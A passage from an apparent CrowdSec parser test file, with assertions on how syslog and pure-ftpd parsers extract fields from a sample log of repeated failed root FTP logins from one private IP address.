results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Meta["machine"] == "ftpcdr" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["program"] == "pure-ftpd" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["timestamp"] == "Jan 7 14:19:37" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Meta["machine"] == "ftpcdr" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Parsed["program"] == "pure-ftpd" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Parsed["timestamp"] == "Jan 7 14:19:38" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Meta["machine"] == "ftpcdr" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Parsed["program"] == "pure-ftpd" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Parsed["timestamp"] == "Jan 7 14:19:39" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Meta["machine"] == "ftpcdr" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Parsed["program"] == "pure-ftpd" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Parsed["timestamp"] == "Jan 7 14:19:49" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Meta["machine"] == "ftpcdr" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][10].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][10].Evt.Parsed["program"] == "pure-ftpd" results["s00-raw"]["crowdsecurity/syslog-logs"][10].Evt.Parsed["timestamp"] == "Jan 7 14:19:59" results["s00-raw"]["crowdsecurity/syslog-logs"][10].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][10].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s00-raw"]["crowdsecurity/syslog-logs"][10].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s00-raw"]["crowdsecurity/syslog-logs"][10].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][10].Evt.Meta["machine"] == "ftpcdr" results["s00-raw"]["crowdsecurity/syslog-logs"][11].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][11].Evt.Parsed["timestamp"] == "Jan 7 14:20:01" results["s00-raw"]["crowdsecurity/syslog-logs"][11].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][11].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s00-raw"]["crowdsecurity/syslog-logs"][11].Evt.Parsed["program"] == "pure-ftpd" results["s00-raw"]["crowdsecurity/syslog-logs"][11].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s00-raw"]["crowdsecurity/syslog-logs"][11].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][11].Evt.Meta["machine"] == "ftpcdr" results["s00-raw"]["crowdsecurity/syslog-logs"][12].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][12].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][12].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s00-raw"]["crowdsecurity/syslog-logs"][12].Evt.Parsed["program"] == "pure-ftpd" results["s00-raw"]["crowdsecurity/syslog-logs"][12].Evt.Parsed["timestamp"] == "Jan 7 14:20:02" results["s00-raw"]["crowdsecurity/syslog-logs"][12].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s00-raw"]["crowdsecurity/syslog-logs"][12].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][12].Evt.Meta["machine"] == "ftpcdr" results["s00-raw"]["crowdsecurity/syslog-logs"][13].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][13].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][13].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s00-raw"]["crowdsecurity/syslog-logs"][13].Evt.Parsed["program"] == "pure-ftpd" results["s00-raw"]["crowdsecurity/syslog-logs"][13].Evt.Parsed["timestamp"] == "Jan 7 14:20:03" results["s00-raw"]["crowdsecurity/syslog-logs"][13].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s00-raw"]["crowdsecurity/syslog-logs"][13].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][13].Evt.Meta["machine"] == "ftpcdr" results["s00-raw"]["crowdsecurity/syslog-logs"][14].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][14].Evt.Parsed["program"] == "pure-ftpd" results["s00-raw"]["crowdsecurity/syslog-logs"][14].Evt.Parsed["timestamp"] == "Jan 7 14:20:05" results["s00-raw"]["crowdsecurity/syslog-logs"][14].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][14].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s00-raw"]["crowdsecurity/syslog-logs"][14].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s00-raw"]["crowdsecurity/syslog-logs"][14].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][14].Evt.Meta["machine"] == "ftpcdr" results["s00-raw"]["crowdsecurity/syslog-logs"][15].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][15].Evt.Parsed["program"] == "pure-ftpd" results["s00-raw"]["crowdsecurity/syslog-logs"][15].Evt.Parsed["timestamp"] == "Jan 7 14:20:06" results["s00-raw"]["crowdsecurity/syslog-logs"][15].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][15].Evt.Parsed["message"] == "(?@172.21.10.2) [INFO] user@test.com is now logged in" results["s00-raw"]["crowdsecurity/syslog-logs"][15].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s00-raw"]["crowdsecurity/syslog-logs"][15].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][15].Evt.Meta["machine"] == "ftpcdr" len(results["s01-parse"]["fulljackz/pureftpd-logs"]) == 16 results["s01-parse"]["fulljackz/pureftpd-logs"][0].Success == true results["s01-parse"]["fulljackz/pureftpd-logs"][0].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s01-parse"]["fulljackz/pureftpd-logs"][0].Evt.Parsed["program"] == "pure-ftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][0].Evt.Parsed["client_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/pureftpd-logs"][0].Evt.Parsed["user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][0].Evt.Parsed["timestamp"] == "Jan 7 14:19:31" results["s01-parse"]["fulljackz/pureftpd-logs"][0].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s01-parse"]["fulljackz/pureftpd-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/pureftpd-logs"][0].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s01-parse"]["fulljackz/pureftpd-logs"][0].Evt.Meta["machine"] == "ftpcdr" results["s01-parse"]["fulljackz/pureftpd-logs"][0].Evt.Meta["service"] == "pureftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][0].Evt.Meta["source_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][0].Evt.Meta["source_user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][1].Success == true results["s01-parse"]["fulljackz/pureftpd-logs"][1].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/pureftpd-logs"][1].Evt.Parsed["program"] == "pure-ftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][1].Evt.Parsed["client_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][1].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s01-parse"]["fulljackz/pureftpd-logs"][1].Evt.Parsed["timestamp"] == "Jan 7 14:19:32" results["s01-parse"]["fulljackz/pureftpd-logs"][1].Evt.Parsed["user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][1].Evt.Meta["source_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][1].Evt.Meta["source_user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][1].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s01-parse"]["fulljackz/pureftpd-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/pureftpd-logs"][1].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s01-parse"]["fulljackz/pureftpd-logs"][1].Evt.Meta["machine"] == "ftpcdr" results["s01-parse"]["fulljackz/pureftpd-logs"][1].Evt.Meta["service"] == "pureftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][2].Success == true results["s01-parse"]["fulljackz/pureftpd-logs"][2].Evt.Parsed["program"] == "pure-ftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][2].Evt.Parsed["timestamp"] == "Jan 7 14:19:33" results["s01-parse"]["fulljackz/pureftpd-logs"][2].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/pureftpd-logs"][2].Evt.Parsed["user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][2].Evt.Parsed["client_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][2].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s01-parse"]["fulljackz/pureftpd-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/pureftpd-logs"][2].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s01-parse"]["fulljackz/pureftpd-logs"][2].Evt.Meta["machine"] == "ftpcdr" results["s01-parse"]["fulljackz/pureftpd-logs"][2].Evt.Meta["service"] == "pureftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][2].Evt.Meta["source_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][2].Evt.Meta["source_user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][2].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s01-parse"]["fulljackz/pureftpd-logs"][3].Success == true results["s01-parse"]["fulljackz/pureftpd-logs"][3].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/pureftpd-logs"][3].Evt.Parsed["program"] == "pure-ftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][3].Evt.Parsed["user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][3].Evt.Parsed["client_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][3].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s01-parse"]["fulljackz/pureftpd-logs"][3].Evt.Parsed["timestamp"] == "Jan 7 14:19:34" results["s01-parse"]["fulljackz/pureftpd-logs"][3].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s01-parse"]["fulljackz/pureftpd-logs"][3].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/pureftpd-logs"][3].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s01-parse"]["fulljackz/pureftpd-logs"][3].Evt.Meta["machine"] == "ftpcdr" results["s01-parse"]["fulljackz/pureftpd-logs"][3].Evt.Meta["service"] == "pureftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][3].Evt.Meta["source_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][3].Evt.Meta["source_user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][4].Success == true results["s01-parse"]["fulljackz/pureftpd-logs"][4].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/pureftpd-logs"][4].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s01-parse"]["fulljackz/pureftpd-logs"][4].Evt.Parsed["timestamp"] == "Jan 7 14:19:35" results["s01-parse"]["fulljackz/pureftpd-logs"][4].Evt.Parsed["user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][4].Evt.Parsed["client_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][4].Evt.Parsed["program"] == "pure-ftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][4].Evt.Meta["source_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][4].Evt.Meta["source_user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][4].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s01-parse"]["fulljackz/pureftpd-logs"][4].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/pureftpd-logs"][4].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s01-parse"]["fulljackz/pureftpd-logs"][4].Evt.Meta["machine"] == "ftpcdr" results["s01-parse"]["fulljackz/pureftpd-logs"][4].Evt.Meta["service"] == "pureftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][5].Success == true results["s01-parse"]["fulljackz/pureftpd-logs"][5].Evt.Parsed["timestamp"] == "Jan 7 14:19:36" results["s01-parse"]["fulljackz/pureftpd-logs"][5].Evt.Parsed["user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][5].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s01-parse"]["fulljackz/pureftpd-logs"][5].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/pureftpd-logs"][5].Evt.Parsed["program"] == "pure-ftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][5].Evt.Parsed["client_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][5].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s01-parse"]["fulljackz/pureftpd-logs"][5].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/pureftpd-logs"][5].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s01-parse"]["fulljackz/pureftpd-logs"][5].Evt.Meta["machine"] == "ftpcdr" results["s01-parse"]["fulljackz/pureftpd-logs"][5].Evt.Meta["service"] == "pureftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][5].Evt.Meta["source_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][5].Evt.Meta["source_user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][6].Success == true results["s01-parse"]["fulljackz/pureftpd-logs"][6].Evt.Parsed["client_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][6].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s01-parse"]["fulljackz/pureftpd-logs"][6].Evt.Parsed["timestamp"] == "Jan 7 14:19:37" results["s01-parse"]["fulljackz/pureftpd-logs"][6].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/pureftpd-logs"][6].Evt.Parsed["program"] == "pure-ftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][6].Evt.Parsed["user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][6].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s01-parse"]["fulljackz/pureftpd-logs"][6].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/pureftpd-logs"][6].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s01-parse"]["fulljackz/pureftpd-logs"][6].Evt.Meta["machine"] == "ftpcdr" results["s01-parse"]["fulljackz/pureftpd-logs"][6].Evt.Meta["service"] == "pureftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][6].Evt.Meta["source_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][6].Evt.Meta["source_user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][7].Success == true results["s01-parse"]["fulljackz/pureftpd-logs"][7].Evt.Parsed["user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][7].Evt.Parsed["client_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][7].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/pureftpd-logs"][7].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s01-parse"]["fulljackz/pureftpd-logs"][7].Evt.Parsed["program"] == "pure-ftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][7].Evt.Parsed["timestamp"] == "Jan 7 14:19:38" results["s01-parse"]["fulljackz/pureftpd-logs"][7].Evt.Meta["source_user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][7].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s01-parse"]["fulljackz/pureftpd-logs"][7].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/pureftpd-logs"][7].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s01-parse"]["fulljackz/pureftpd-logs"][7].Evt.Meta["machine"] == "ftpcdr" results["s01-parse"]["fulljackz/pureftpd-logs"][7].Evt.Meta["service"] == "pureftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][7].Evt.Meta["source_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][8].Success == true results["s01-parse"]["fulljackz/pureftpd-logs"][8].Evt.Parsed["client_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][8].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s01-parse"]["fulljackz/pureftpd-logs"][8].Evt.Parsed["program"] == "pure-ftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][8].Evt.Parsed["timestamp"] == "Jan 7 14:19:39" results["s01-parse"]["fulljackz/pureftpd-logs"][8].Evt.Parsed["user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][8].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/pureftpd-logs"][8].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s01-parse"]["fulljackz/pureftpd-logs"][8].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/pureftpd-logs"][8].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s01-parse"]["fulljackz/pureftpd-logs"][8].Evt.Meta["machine"] == "ftpcdr" results["s01-parse"]["fulljackz/pureftpd-logs"][8].Evt.Meta["service"] == "pureftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][8].Evt.Meta["source_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][8].Evt.Meta["source_user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][9].Success == true results["s01-parse"]["fulljackz/pureftpd-logs"][9].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/pureftpd-logs"][9].Evt.Parsed["timestamp"] == "Jan 7 14:19:49" results["s01-parse"]["fulljackz/pureftpd-logs"][9].Evt.Parsed["user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][9].Evt.Parsed["client_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][9].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s01-parse"]["fulljackz/pureftpd-logs"][9].Evt.Parsed["program"] == "pure-ftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][9].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s01-parse"]["fulljackz/pureftpd-logs"][9].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/pureftpd-logs"][9].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s01-parse"]["fulljackz/pureftpd-logs"][9].Evt.Meta["machine"] == "ftpcdr" results["s01-parse"]["fulljackz/pureftpd-logs"][9].Evt.Meta["service"] == "pureftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][9].Evt.Meta["source_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][9].Evt.Meta["source_user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][10].Success == true results["s01-parse"]["fulljackz/pureftpd-logs"][10].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s01-parse"]["fulljackz/pureftpd-logs"][10].Evt.Parsed["timestamp"] == "Jan 7 14:19:59" results["s01-parse"]["fulljackz/pureftpd-logs"][10].Evt.Parsed["program"] == "pure-ftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][10].Evt.Parsed["user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][10].Evt.Parsed["client_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][10].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/pureftpd-logs"][10].Evt.Meta["service"] == "pureftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][10].Evt.Meta["source_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][10].Evt.Meta["source_user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][10].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s01-parse"]["fulljackz/pureftpd-logs"][10].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/pureftpd-logs"][10].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s01-parse"]["fulljackz/pureftpd-logs"][10].Evt.Meta["machine"] == "ftpcdr" results["s01-parse"]["fulljackz/pureftpd-logs"][11].Success == true results["s01-parse"]["fulljackz/pureftpd-logs"][11].Evt.Parsed["client_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][11].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/pureftpd-logs"][11].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s01-parse"]["fulljackz/pureftpd-logs"][11].Evt.Parsed["program"] == "pure-ftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][11].Evt.Parsed["timestamp"] == "Jan 7 14:20:01" results["s01-parse"]["fulljackz/pureftpd-logs"][11].Evt.Parsed["user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][11].Evt.Meta["source_user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][11].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s01-parse"]["fulljackz/pureftpd-logs"][11].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/pureftpd-logs"][11].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s01-parse"]["fulljackz/pureftpd-logs"][11].Evt.Meta["machine"] == "ftpcdr" results["s01-parse"]["fulljackz/pureftpd-logs"][11].Evt.Meta["service"] == "pureftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][11].Evt.Meta["source_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][12].Success == true results["s01-parse"]["fulljackz/pureftpd-logs"][12].Evt.Parsed["user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][12].Evt.Parsed["client_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][12].Evt.Parsed["program"] == "pure-ftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][12].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/pureftpd-logs"][12].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s01-parse"]["fulljackz/pureftpd-logs"][12].Evt.Parsed["timestamp"] == "Jan 7 14:20:02" results["s01-parse"]["fulljackz/pureftpd-logs"][12].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s01-parse"]["fulljackz/pureftpd-logs"][12].Evt.Meta["machine"] == "ftpcdr" results["s01-parse"]["fulljackz/pureftpd-logs"][12].Evt.Meta["service"] == "pureftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][12].Evt.Meta["source_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][12].Evt.Meta["source_user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][12].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s01-parse"]["fulljackz/pureftpd-logs"][12].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/pureftpd-logs"][13].Success == true results["s01-parse"]["fulljackz/pureftpd-logs"][13].Evt.Parsed["client_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][13].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/pureftpd-logs"][13].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s01-parse"]["fulljackz/pureftpd-logs"][13].Evt.Parsed["program"] == "pure-ftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][13].Evt.Parsed["timestamp"] == "Jan 7 14:20:03" results["s01-parse"]["fulljackz/pureftpd-logs"][13].Evt.Parsed["user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][13].Evt.Meta["source_user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][13].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s01-parse"]["fulljackz/pureftpd-logs"][13].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/pureftpd-logs"][13].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s01-parse"]["fulljackz/pureftpd-logs"][13].Evt.Meta["machine"] == "ftpcdr" results["s01-parse"]["fulljackz/pureftpd-logs"][13].Evt.Meta["service"] == "pureftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][13].Evt.Meta["source_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][14].Success == true results["s01-parse"]["fulljackz/pureftpd-logs"][14].Evt.Parsed["client_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][14].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/pureftpd-logs"][14].Evt.Parsed["timestamp"] == "Jan 7 14:20:05" results["s01-parse"]["fulljackz/pureftpd-logs"][14].Evt.Parsed["user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][14].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s01-parse"]["fulljackz/pureftpd-logs"][14].Evt.Parsed["program"] == "pure-ftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][14].Evt.Meta["source_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][14].Evt.Meta["source_user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][14].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s01-parse"]["fulljackz/pureftpd-logs"][14].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/pureftpd-logs"][14].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s01-parse"]["fulljackz/pureftpd-logs"][14].Evt.Meta["machine"] == "ftpcdr" results["s01-parse"]["fulljackz/pureftpd-logs"][14].Evt.Meta["service"] == "pureftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][15].Success == false len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 15 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true 